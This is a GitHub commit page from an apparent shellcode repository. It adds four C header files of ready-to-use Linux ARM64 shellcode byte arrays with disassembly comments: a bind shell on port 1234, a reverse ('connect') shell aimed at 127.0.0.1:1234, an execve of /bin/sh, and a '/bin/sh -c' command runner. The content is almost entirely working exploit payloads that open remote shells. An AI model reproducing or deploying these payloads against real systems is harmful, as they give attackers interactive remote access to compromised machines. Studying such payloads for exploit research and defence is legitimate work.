Skip to content

Commit cd9bc3b

Browse files
committed
Merge branch 'master' of http://github.com/odzhan/shellcode
2 parents f436dfb + e9fc1c7 commit cd9bc3b

4 files changed

Lines changed: 121 additions & 0 deletions

File tree

os/linux/arm64/bind.h

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
// Target architecture : ARMv8/AArch64 arm
2+
// Endian mode : little
3+
4+
#define BIND_SIZE 148
5+
6+
char BIND[] = {
7+
/* 0000 */ "\xc8\x18\x80\xd2" /* movz x8, #0xc6 */
8+
/* 0004 */ "\x02\x00\x80\xd2" /* movz x2, #0 */
9+
/* 0008 */ "\x21\x00\x80\xd2" /* movz x1, #0x1 */
10+
/* 000C */ "\x40\x00\x80\xd2" /* movz x0, #0x2 */
11+
/* 0010 */ "\x01\x00\x00\xd4" /* svc #0 */
12+
/* 0014 */ "\xe3\x03\x00\x2a" /* mov w3, w0 */
13+
/* 0018 */ "\x08\x19\x80\xd2" /* movz x8, #0xc8 */
14+
/* 001C */ "\x02\x02\x80\xd2" /* movz x2, #0x10 */
15+
/* 0020 */ "\x41\x00\x80\x52" /* movz w1, #0x2 */
16+
/* 0024 */ "\x81\x40\xba\x72" /* movk w1, #0xd204, lsl #16 */
17+
/* 0028 */ "\xe1\x0f\x1f\xf8" /* str x1, [sp, #0xfffffffffffffff0]! */
18+
/* 002C */ "\xe1\x03\x00\x91" /* mov x1, sp */
19+
/* 0030 */ "\x01\x00\x00\xd4" /* svc #0 */
20+
/* 0034 */ "\x28\x19\x80\xd2" /* movz x8, #0xc9 */
21+
/* 0038 */ "\x21\x00\x80\xd2" /* movz x1, #0x1 */
22+
/* 003C */ "\xe0\x03\x03\x2a" /* mov w0, w3 */
23+
/* 0040 */ "\x01\x00\x00\xd4" /* svc #0 */
24+
/* 0044 */ "\x48\x19\x80\xd2" /* movz x8, #0xca */
25+
/* 0048 */ "\xe2\x03\x1f\xaa" /* mov x2, xzr */
26+
/* 004C */ "\xe1\x03\x1f\xaa" /* mov x1, xzr */
27+
/* 0050 */ "\xe0\x03\x03\x2a" /* mov w0, w3 */
28+
/* 0054 */ "\x01\x00\x00\xd4" /* svc #0 */
29+
/* 0058 */ "\xe3\x03\x00\x2a" /* mov w3, w0 */
30+
/* 005C */ "\x08\x03\x80\xd2" /* movz x8, #0x18 */
31+
/* 0060 */ "\x61\x00\x80\xd2" /* movz x1, #0x3 */
32+
/* 0064 */ "\xe0\x03\x03\x2a" /* mov w0, w3 */
33+
/* 0068 */ "\x21\x04\x00\xf1" /* subs x1, x1, #1 */
34+
/* 006C */ "\x01\x00\x00\xd4" /* svc #0 */
35+
/* 0070 */ "\xa1\xff\xff\x54" /* b.ne #0x64 */
36+
/* 0074 */ "\xa8\x1b\x80\xd2" /* movz x8, #0xdd */
37+
/* 0078 */ "\xe0\x45\x8c\xd2" /* movz x0, #0x622f */
38+
/* 007C */ "\x20\xcd\xad\xf2" /* movk x0, #0x6e69, lsl #16 */
39+
/* 0080 */ "\xe0\x65\xce\xf2" /* movk x0, #0x732f, lsl #32 */
40+
/* 0084 */ "\x00\x0d\xe0\xf2" /* movk x0, #0x68, lsl #48 */
41+
/* 0088 */ "\xe0\x03\x00\xf9" /* str x0, [sp] */
42+
/* 008C */ "\xe0\x03\x00\x91" /* mov x0, sp */
43+
/* 0090 */ "\x01\x00\x00\xd4" /* svc #0 */
44+
};

os/linux/arm64/cmd.h

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
// Target architecture : ARMv8/AArch64 arm
2+
// Endian mode : little
3+
4+
#define CMD_SIZE 64
5+
6+
char CMD[] = {
7+
/* 0000 */ "\xe0\x45\x8c\xd2" /* movz x0, #0x622f */
8+
/* 0004 */ "\x20\xcd\xad\xf2" /* movk x0, #0x6e69, lsl #16 */
9+
/* 0008 */ "\xe0\x65\xce\xf2" /* movk x0, #0x732f, lsl #32 */
10+
/* 000C */ "\x00\x0d\xe0\xf2" /* movk x0, #0x68, lsl #48 */
11+
/* 0010 */ "\xe0\x0f\x1c\xf8" /* str x0, [sp, #0xffffffffffffffc0]! */
12+
/* 0014 */ "\xe0\x03\x00\x91" /* mov x0, sp */
13+
/* 0018 */ "\xa1\x65\x8c\xd2" /* movz x1, #0x632d */
14+
/* 001C */ "\xe1\x0b\x00\xf9" /* str x1, [sp, #0x10] */
15+
/* 0020 */ "\xe1\x43\x00\x91" /* add x1, sp, #0x10 */
16+
/* 0024 */ "\xe2\x00\x00\x10" /* adr x2, #0x40 */
17+
/* 0028 */ "\xe0\x07\x02\xa9" /* stp x0, x1, [sp, #0x20] */
18+
/* 002C */ "\xe2\x7f\x03\xa9" /* stp x2, xzr, [sp, #0x30] */
19+
/* 0030 */ "\xe2\x03\x1f\xaa" /* mov x2, xzr */
20+
/* 0034 */ "\xe1\x83\x00\x91" /* add x1, sp, #0x20 */
21+
/* 0038 */ "\xa8\x1b\x80\xd2" /* movz x8, #0xdd */
22+
/* 003C */ "\x01\x00\x00\xd4" /* svc #0 */
23+
};

os/linux/arm64/connect.h

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
// Target architecture : ARMv8/AArch64 arm
2+
// Endian mode : little
3+
4+
#define CONNECT_SIZE 120
5+
6+
char CONNECT[] = {
7+
/* 0000 */ "\xc8\x18\x80\xd2" /* movz x8, #0xc6 */
8+
/* 0004 */ "\x02\x00\x80\xd2" /* movz x2, #0 */
9+
/* 0008 */ "\x21\x00\x80\xd2" /* movz x1, #0x1 */
10+
/* 000C */ "\x40\x00\x80\xd2" /* movz x0, #0x2 */
11+
/* 0010 */ "\x01\x00\x00\xd4" /* svc #0 */
12+
/* 0014 */ "\xe3\x03\x00\x2a" /* mov w3, w0 */
13+
/* 0018 */ "\x68\x19\x80\xd2" /* movz x8, #0xcb */
14+
/* 001C */ "\x02\x02\x80\xd2" /* movz x2, #0x10 */
15+
/* 0020 */ "\x41\x00\x80\xd2" /* movz x1, #0x2 */
16+
/* 0024 */ "\x81\x40\xba\xf2" /* movk x1, #0xd204, lsl #16 */
17+
/* 0028 */ "\xe1\x0f\xc0\xf2" /* movk x1, #0x7f, lsl #32 */
18+
/* 002C */ "\x01\x20\xe0\xf2" /* movk x1, #0x100, lsl #48 */
19+
/* 0030 */ "\xe1\x0f\x1f\xf8" /* str x1, [sp, #0xfffffffffffffff0]! */
20+
/* 0034 */ "\xe1\x03\x00\x91" /* mov x1, sp */
21+
/* 0038 */ "\x01\x00\x00\xd4" /* svc #0 */
22+
/* 003C */ "\x08\x03\x80\xd2" /* movz x8, #0x18 */
23+
/* 0040 */ "\x61\x00\x80\xd2" /* movz x1, #0x3 */
24+
/* 0044 */ "\xe2\x03\x1f\xaa" /* mov x2, xzr */
25+
/* 0048 */ "\xe0\x03\x03\x2a" /* mov w0, w3 */
26+
/* 004C */ "\x21\x04\x00\xf1" /* subs x1, x1, #1 */
27+
/* 0050 */ "\x01\x00\x00\xd4" /* svc #0 */
28+
/* 0054 */ "\x81\xff\xff\x54" /* b.ne #0x44 */
29+
/* 0058 */ "\xa8\x1b\x80\xd2" /* movz x8, #0xdd */
30+
/* 005C */ "\xe0\x45\x8c\xd2" /* movz x0, #0x622f */
31+
/* 0060 */ "\x20\xcd\xad\xf2" /* movk x0, #0x6e69, lsl #16 */
32+
/* 0064 */ "\xe0\x65\xce\xf2" /* movk x0, #0x732f, lsl #32 */
33+
/* 0068 */ "\x00\x0d\xe0\xf2" /* movk x0, #0x68, lsl #48 */
34+
/* 006C */ "\xe0\x03\x00\xf9" /* str x0, [sp] */
35+
/* 0070 */ "\xe0\x03\x00\x91" /* mov x0, sp */
36+
/* 0074 */ "\x01\x00\x00\xd4" /* svc #0 */
37+
};

os/linux/arm64/execve.h

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
// Target architecture : ARMv8/AArch64 arm
2+
// Endian mode : little
3+
4+
#define EXECVE_SIZE 40
5+
6+
char EXECVE[] = {
7+
/* 0000 */ "\xa8\x1b\x80\xd2" /* movz x8, #0xdd */
8+
/* 0004 */ "\xe2\x03\x1f\xaa" /* mov x2, xzr */
9+
/* 0008 */ "\xe1\x03\x1f\xaa" /* mov x1, xzr */
10+
/* 000C */ "\xe3\x45\x8c\xd2" /* movz x3, #0x622f */
11+
/* 0010 */ "\x23\xcd\xad\xf2" /* movk x3, #0x6e69, lsl #16 */
12+
/* 0014 */ "\xe3\x65\xce\xf2" /* movk x3, #0x732f, lsl #32 */
13+
/* 0018 */ "\x03\x0d\xe0\xf2" /* movk x3, #0x68, lsl #48 */
14+
/* 001C */ "\xe3\x0f\x1f\xf8" /* str x3, [sp, #0xfffffffffffffff0]! */
15+
/* 0020 */ "\xe0\x03\x00\x91" /* mov x0, sp */
16+
/* 0024 */ "\x01\x00\x00\xd4" /* svc #0 */
17+
};

0 commit comments

Comments
 (0)